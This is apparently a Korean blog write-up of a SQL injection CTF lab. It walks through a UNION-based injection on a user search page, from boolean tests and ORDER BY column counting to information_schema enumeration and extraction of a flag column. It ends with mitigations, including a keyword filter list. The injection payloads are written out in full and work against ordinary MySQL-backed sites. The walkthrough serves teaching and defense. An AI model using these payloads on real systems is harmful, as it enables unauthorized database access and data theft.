(SQL Injection CTF 풀이3) DB 데이터 추출 1 - UNION SQL Injection
SQL Injection CTF 3 - DB 데이터 추출 1
사전 정보 : DB 내에 숨겨진 Flag를 찾으세요!
일단 사이트를 들어가 봅시다.
유저 아이디 검색하는 페이지인가 봅니다.
어제 배운 방식대로 순서대로 가봅시다!!
1. 추리
일단 화면에 DB 데이터를 띄워주는 것을 보아 UNION SQLi 전략으로 가야겠습니다.
아이디 검색하는 페이지이니 SELECT ??? FROM '???' WHERE id='???' 이러한 방식으로 쿼리가 코딩되어 있지 않을까 예상해봅니다.
2. 취약점
일단 입력창에 쿼리를 작성해서 입력했을 때 쿼리가 실행이 잘 되는지 판단해봅니다.
아래와 같이 입력했을 때 bello의 정보가 떴습니다.
bello' AND 1=1 #
하지만 bello' AND 1=0 #을 입력했을 땐 아래 화면과 같이 아무 정보도 안 뜹니다. 이를 통해 일단 SQL 쿼리는 해당 입력창에서 실행이 된다는 것을 알 수 있습니다. 쿼리가 실행이 되니 해당 입력창을 통해 정보를 빼내보겠습니다.
3. ORDER BY
이제 ORDER BY를 통해 해당 테이블의 컬럼 개수를 확인해봅시다.
bello' ORDER BY 1 #
bello' ORDER BY 2 #
bello' ORDER BY 3 #
bello' ORDER BY 4 #
4까지 입력했을 때 bello의 정보가 나왔습니다. 이로써 해당 테이블의 컬럼 개수는 4개라는 것을 확인할 수 있습니다.
5이상의 숫자를 입력했을 땐 bello의 정보가 안 나옵니다.
4. 데이터 출력하는 컬럼 위치 파악
UNION SQLi 전략을 짰으니 UNION을 사용해 보겠습니다.
UNION과 SELECT를 같이 사용해서 4개의 컬럼이 1, 2, 3, 4라는 데이터를 추가해보겠습니다.
4개의 데이터를 추가해서 4개 다 출력이 되면 모든 컬럼이 데이터를 다 출력하는 것임을 파악할 수 있고, 만약 몇개만 출력했다면 출력된 해당 컬럼만 출력이 되는 것임을 파악할 수 있습니다.
입력창에 아래의 쿼리를 입력합니다.
bello' UNION SELECT '1', '2', '3', '4
1, 2, 3, 4라는 데이터가 모든 컬럼에 다 들어가 있을 것을 확인할 수 있습니다.
4개의 컬럼 모두 데이터를 출력하는 컬럼임을 파악했습니다.
5. DB 이름 확인
UNION SELECT 뒤에 입력하는 값은 삽입이지만 값 대신에 database()를 넣으면 DB의 이름이 출력되게 됩니다.
바로 아래의 코드를 입력해서 DB 이름을 확인해겠습니다.
bello' UNION SELECT database(), '2', '3', '4
DB 이름은 sqli_1입니다.
6. Table 이름 확인
table_name
아래의 쿼리를 입력해서 Table 이름을 확인해보겠습니다.
bello' UNION SELECT table_name, '2', '3', '4' FROM information_schema.tables WHERE table_schema = 'sqli_1' #
아래 화면과 같이 flag_table과 user_info라는 테이블이 있습니다.
7. 컬럼 이름 확인
사전 정보에 의하면 'DB에 숨겨진 flag를 찾으세요'라고 씌여 있으니 먼저 flag_table을 해보겠습니다.
column_name을 이용해서 flag_table의 컬럼을 확인해보겠습니다.
bello' UNION SELECT column_name, '2', '3', '4' FROM information_schema.columns WHERE table_name='flag_table' #
아래 화면과 같이 flag라는 컬럼이 있음을 확인할 수 있습니다.
방금 했던 쿼리에서 테이블 이름만 바꿔서 입력하겠습니다.
bello' UNION SELECT column_name, '2', '3', '4' FROM information_schema.columns WHERE table_name='user_info' #
여기 있는 데이터가 해당 페이지인 유저 ID 검색하는 페이지의 테이블임을 확인할 수 있습니다.
8. 데이터 추출
목표는 Flag이니 flag 컬럼의 데이터를 출력해보겠습니다.
데이터 추출은 SELECT 뒤에 컬럼 개수를 맞춰야 하니 flag, '2', '3', '4'로 되어야 하고,
그 뒤에는 어느 테이블인지 코딩하면 됩니다.
bello' UNION SELECT flag, '2', '3', '4' FROM flag_table #
flag 컬럼의 값이 나왔습니다!..만 정답이기 때문에 모자이크처리 했다는 점 양해부탁드립니다.
방안
1. 필터링
입력된 값이 개발자의 의도와 다른 값이 입력되지 않게 아래와 같은 쿼리에 영향을 주는 특수문자나 문법, 함수은 검증해서 에러 메세지를 출력하거나 미리 준비한 문자열로 치환해야 합니다.
/*, –, ‘, “, ?, #, (, ), ;, @, =, *, +, union, select, update, from, where, ???_tables, ???_table_columns, information_schema, table_schema…
2. 출력 최소화
중요한 정보는 출력하지 못 하게 만드는 것도 중요합니다.
3. 테이블마다 권한은 다르게
분명 user_table하고만 연관이 있는 페이지인데 전혀 연관이 없는 flag 테이블에 접근이 가능했습니다. 테이블마다 권한 수정을 해야합니다.
※ 일단 위 3가지는 제가 생각해낸 대책방안이기 때문에 구글링하면 더 많은 보안 대책방안이 있을 겁니다.